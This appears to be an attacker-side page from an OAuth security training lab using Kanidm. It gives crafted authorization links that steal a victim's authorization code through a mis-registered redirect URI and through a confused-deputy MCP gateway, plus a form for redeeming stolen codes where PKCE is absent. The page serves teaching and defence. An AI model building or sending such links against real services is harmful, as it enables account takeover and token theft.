😈 Attacker Console

Lab 3B -- steal the code via a mis-registered redirect

Send this link to the victim (who is logged into Kanidm). When they open it, Kanidm will redirect their authorization code straight to us at /catch -- but only because vuln-redirect has our URL in its registered redirect list.

Malicious authorization link (open as victim)

"https://kanidm.lab.quokkahost.com/ui/oauth2?response_type=code&client_id=vuln-redirect&redirect_uri=https%3A%2F%2Fattacker.lab.quokkahost.com%2Fcatch&scope=openid+email+profile&state=attacker-chosen&code_challenge=8XjYN1rE_BWXWVLRWYiH0sTdhAceZgQJw56gdwEhmFs&code_challenge_method=S256"

Lab 3C -- redeem a stolen code (no PKCE)

Play victim: log into the no-PKCE client at pkce-bad, copy the code from the callback URL, and paste it below. Then try the same with the PKCE client at pkce-good and watch redemption fail.

Target client:

redirect_uri used in the original request:

Stolen authorization code:

Lab 3E -- hijack an MCP session (confused-deputy redirect)

The MCP gateway at http://localhost:8092 forwards whatever redirect_uri we hand its /authorize endpoint. We point it at us. Send this to a victim who has used the gateway before: they already consented at Kanidm, so they see no prompt -- one click and the gateway delivers their code to our /mcp-catch.

Malicious MCP authorize link (open as victim)

"http://localhost:8092/authorize?client_id=mcp-local&redirect_uri=https%3A%2F%2Fattacker.lab.quokkahost.com%2Fmcp-catch&state=mcp-attacker&code_challenge=Q4Rm4FJg2yFnExCHYT-LiMJLMnLy-DP2YSlbh0_vVWk"